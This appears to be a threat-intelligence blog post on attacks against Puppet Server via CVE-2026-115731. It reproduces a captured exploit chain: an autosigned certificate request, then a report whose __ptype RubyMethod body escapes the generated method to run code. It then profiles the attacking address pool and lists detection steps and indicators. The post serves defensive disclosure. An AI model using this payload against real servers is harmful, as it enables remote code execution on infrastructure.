Blog · Threat intel · · 9 min read · by huntback Research

Attackers are checking Puppet Servers for CVE-2026-115731: the full exploit, captured in 1.5 seconds

CVE-2026-115731 lets anyone holding a certificate signed by a Puppet certificate authority run code on the Puppet Server, and CISA added it to its list of exploited flaws on 17 November 202612. The public record says a "crafted rich-data type" in a report does it. On the morning of 19 November one of our Puppet Server decoys received the whole chain from start to finish: an address asked the server to sign a certificate, collected it, and submitted a report with a Ruby method hidden inside a type definition. The three requests took 1.47 seconds. This post shows them as they arrived, explains why the payload has the shape it has, and lists what to look for on your own server.

In brief

  • The flaw needs a certificate. Where the certificate authority signs requests automatically, the attacker gets one by asking. That was the first request of the chain.
  • The code travels in a report, the summary an agent sends after each run. A value marked __ptype defines a type whose function carries a Ruby method body.
  • The body we captured closes the generated method early with end, runs one statement, and opens a second method so the syntax still balances.
  • That statement only raised an error containing PWNED- and the server's address. This was a check for vulnerable servers, built so that a real command needs one line changed.
  • Two and a half hours earlier a different address in the same hosting cluster fingerprinted the server with a client that calls itself puppet-scan/1.0. It had just finished 26 hours of password guessing against a Citrix decoy.
  • The exploiting address is the cluster's test bench: in the ten days before, it tried exploits for four other products on our decoys.
the chain on 19 Nov 2026 (UTC), from 77.91.71[.]31. ask for a certificatePUT certificate_requestname wpwn + 10 hex08:39:58.1712. collect itGET certificatesigned without a check08:39:59.5743. send a reportPUT report__ptype with a method body08:39:59.641
Three requests, 1.47 seconds from the first to the last.

What the flaw is

A Puppet agent identifies itself to the server with a certificate signed by the server's own certificate authority. After each run it sends a report: what changed, what failed, how long it took. The CVE record describes a deserialization flaw in the code that processes those reports: a client holding any CA-signed agent certificate can execute code as the Puppet Server service user by submitting a report that contains a crafted rich-data type1.

The record's second sentence is what turns it into a pre-authentication flaw: "Where the certificate authority autosigns requests without strong verification, an unauthenticated network attacker can obtain such a certificate." Autosigning is a convenience setting. It lets new machines join without an administrator approving each certificate request, and in its simplest forms it approves every name or every name that matches a pattern3.

The record was published on 3 November with a score of 9.4. Fixed releases are Puppet Enterprise 2023.8.13, 2025.12.1 and 2026.0.1.

The scout: three questions at 06:04

All times are UTC, 19 November. At 06:04:17 the address 185.136.15[.]2 made three requests within half a second, with the user agent puppet-scan/1.0:

RequestAnswerWhat it tells the scanner
GET /status/v1/services?level=debug403The status service of a Puppet Server exists here. An open one returns the service versions.
GET /production/certificate/ca404The CA path used by Puppet 3, where the environment came first.
GET /puppet-ca/v1/certificate/ca200The CA certificate. This server runs its own certificate authority and talks to strangers.

It repeated the status request at 06:23:52 and 06:24:46 and did nothing else. It never asked for a certificate.

The chain: 08:39:58

Two hours and fifteen minutes later 77.91.71[.]3 connected, using python-requests/2.34.2.

Request 1: a certificate request

PUT /puppet-ca/v1/certificate_request/wpwn42bb82d419
Content-Type: text/plain

-----BEGIN CERTIFICATE REQUEST-----
MIICXjCCAUYCAQAwGTEXMBUGA1UEAwwOd3B3bjQyYmI4MmQ0MTkw...
-----END CERTIFICATE REQUEST-----

The request is as plain as one can be: a fresh 2048-bit RSA key, the subject CN=wpwn42bb82d419, and no attributes or extensions. A server that asked for a shared secret or any other proof in the request would refuse it. The name is the prefix wpwn and ten hex characters, generated per target.

Request 2: the signed certificate

GET /puppet-ca/v1/certificate/wpwn42bb82d419

Sent 1.4 seconds after the first, with no polling and no retry. The client assumes the signature is already there, which is only true on a server that signs automatically. This one request is the test for autosigning: a 200 means the door is open, a 404 means an administrator still has to approve the name.

Request 3: the report

PUT /puppet/v3/report/wpwn42bb82d419?environment=production
Content-Type: application/json

{"host": "wpwn42bb82d419", "report_format": 12, "puppet_version": "8.20.0",
 "status": "changed", "environment": "production", ...
 "resource_statuses": {"Notify[x]": { ...
   "events": [{
     "__ptype": "Object[{name => 'PEP', functions => {'test' => {type => Callable,
        annotations => {RubyMethod => {'body' => \"1\n end\n
        raise ArgumentError.new('PWNED-<server address>')\n def d2\n 1\"}}}}}]",
     "__pvalue": "x"}]}}}

Everything around the event is an ordinary report for a run that changed one Notify resource. The event is where the payload sits.

Reading the payload

Puppet's rich-data format lets a serialized value say what type it is: an object with the keys __ptype and __pvalue is read as "a value of this type" and rebuilt on the receiving side. Here the type is not a name the server already knows. It is a complete definition, written inline: an object type called PEP with one function, test.

The function carries a RubyMethod annotation. That annotation exists so that a type can supply the Ruby source of a method when Puppet generates a class for it, and its body is placed inside a generated def ... end. The body sent to our decoy is five lines:

1
end
raise ArgumentError.new('PWNED-<server address>')
def d2
1
  • 1 and end finish the generated method straight away.
  • The third line now sits outside any method, so it runs the moment the generated code is evaluated, without anyone calling test.
  • def d2 and 1 open a second method for the generator's own closing end to close.

It is the same trick as an SQL injection that closes a quote, adds a statement and reopens the quote. The statement chosen here raises an error whose message contains PWNED- and the address of the server under test. A check built this way only has to look for its marker in the reply: one request both proves code execution and labels the result. Nothing is written to disk and nothing is downloaded.

Two details say the tool was written for many targets. The marker is built from the target's address, so replies can be sorted by host, and the certificate name carries a random suffix, so each attempt has its own identity. One detail gives it away in a log: the report states a run time of exactly 12:00:00, more than three hours after it was sent.

Our decoy signed the certificate, accepted the report with a 200, and returned no marker. The address did not come back to that decoy.

Who was asking

The two addresses belong to a cluster we see across three hosting prefixes: 185.136.15[.]0/24 (AS210328), 77.91.71[.]0/24 (AS211486) and 138.226.239[.]0/24. They work as one pool. On 15 November, between 09:39 and 09:43, 25 addresses spread over the three prefixes each sent us the same twelve Check Point VPN requests, one address after another, with one identical Firefox user agent.

The scout, 185.136.15[.]2, had spent the previous day on something else. From 03:36 on 18 November to 05:52 on 19 November it guessed passwords on one of our Citrix NetScaler decoys: 33,295 login attempts, each one preceded by the three page loads a browser would make. It used 33,294 different usernames, built from about 2,775 surnames with twelve first initials each, and a single password for all of them: a season, the year and an exclamation mark. One guess per account never triggers a lockout. The last attempt was at 05:52:31. The first Puppet request followed 11 minutes and 46 seconds later.

The exploiting address, 77.91.71[.]3, is where this cluster tries exploits. On our decoys in the ten days before the Puppet chain:

DateProductFlaws tried
10 NovPalo Alto PAN-OSCVE-2024-3400, CVE-2024-9474, CVE-2025-0108, CVE-2025-0133, CVE-2026-109618
11 NovIvanti Connect SecureCVE-2026-104935, CVE-2026-10520
11 NovPalo Alto PAN-OSCVE-2026-109619 (110 requests), CVE-2026-48907
14 NovN-able N-centralCVE-2026-86206 (506 requests), CVE-2026-90436, CVE-2025-11700, CVE-2026-129280
16 NovFortiGateCVE-2018-13379
19 NovPuppet ServerCVE-2026-115731

The division of labour is consistent. The other addresses in the pool do volume: password guessing and fingerprinting. One address takes each new flaw for a first pass, mostly with plain Python clients. Puppet reached that address two days after the flaw was listed as exploited.

The pool's clients like to name themselves: puppet-scan/1.0, NetScaler-Scanner/1.11.0 (authorized-security-audit), GP-TZ-Scanner/1.0 (read-only). Nobody authorized them, and the label costs nothing to type.

What to check on your Puppet Server

  1. Update. The fixed releases are Puppet Enterprise 2023.8.13, 2025.12.1 and 2026.0.11.
  2. Look at autosigning. In puppet.conf, autosign = true signs everything. An autosign.conf containing * or a broad pattern does nearly the same. Switch to policy-based autosigning that verifies something the requester cannot guess, or sign by hand3.
  3. List the certificates you have signed. Run puppetserver ca list --all and account for every name. A name such as wpwn followed by ten hex characters is this tool. Revoke and clean anything you cannot explain with puppetserver ca clean --certname <name>.
  4. Read the access log. The sequence is distinctive: a PUT to /puppet-ca/v1/certificate_request/ from an address that is not one of your agents, a GET for the same name within a second or two, then a PUT to /puppet/v3/report/.
  5. Search the server log for PWNED-, and for errors raised while processing a report.
  6. Filter the report body. No agent sends a type definition in a report. A reverse proxy rule that refuses any report containing RubyMethod stops this payload and its variants.
  7. Close port 8140 to the internet. Agents reach the server from networks you know.

Indicators

IndicatorRoleConfidence
77.91.71[.]3Sent the full chain for CVE-2026-115731, 19 Nov 2026 08:39:58 to 08:39:59 UTCHigh for the event
185.136.15[.]2Puppet fingerprinting with puppet-scan/1.0, 19 Nov 06:04 to 06:24 UTC; Citrix password guessing 18 Nov 03:36 to 19 Nov 05:52 UTCHigh for the event
185.136.15[.]0/24, 77.91.71[.]0/24, 138.226.239[.]0/24Prefixes whose addresses act as one poolContext only
Certificate name wpwn + 10 hex charactersName requested by the exploit toolPattern
PUT /puppet/v3/report/ with a body containing __ptype and RubyMethodCVE-2026-115731 payloadPattern
PWNED- followed by the server address in an error messageMarker the check looks forPattern
User agent puppet-scan/1.0Fingerprinting clientPattern
Report with "puppet_version": "8.20.0", "report_format": 12, one resource Notify[x] and a time of 12:00:00.000000000+00:00The fixed fields of the exploit reportPattern
GET /status/v1/services?level=debug, /production/certificate/ca and /puppet-ca/v1/certificate/ca in the same secondThe fingerprinting sequencePattern

References

  1. CVE Program, CVE-2026-115731, and Perforce, Report deserialization code execution (published 3 November 2026).
  2. CISA, Known Exploited Vulnerabilities Catalog: CVE-2026-115731 added 17 November 2026.
  3. Puppet documentation, Autosigning certificate requests.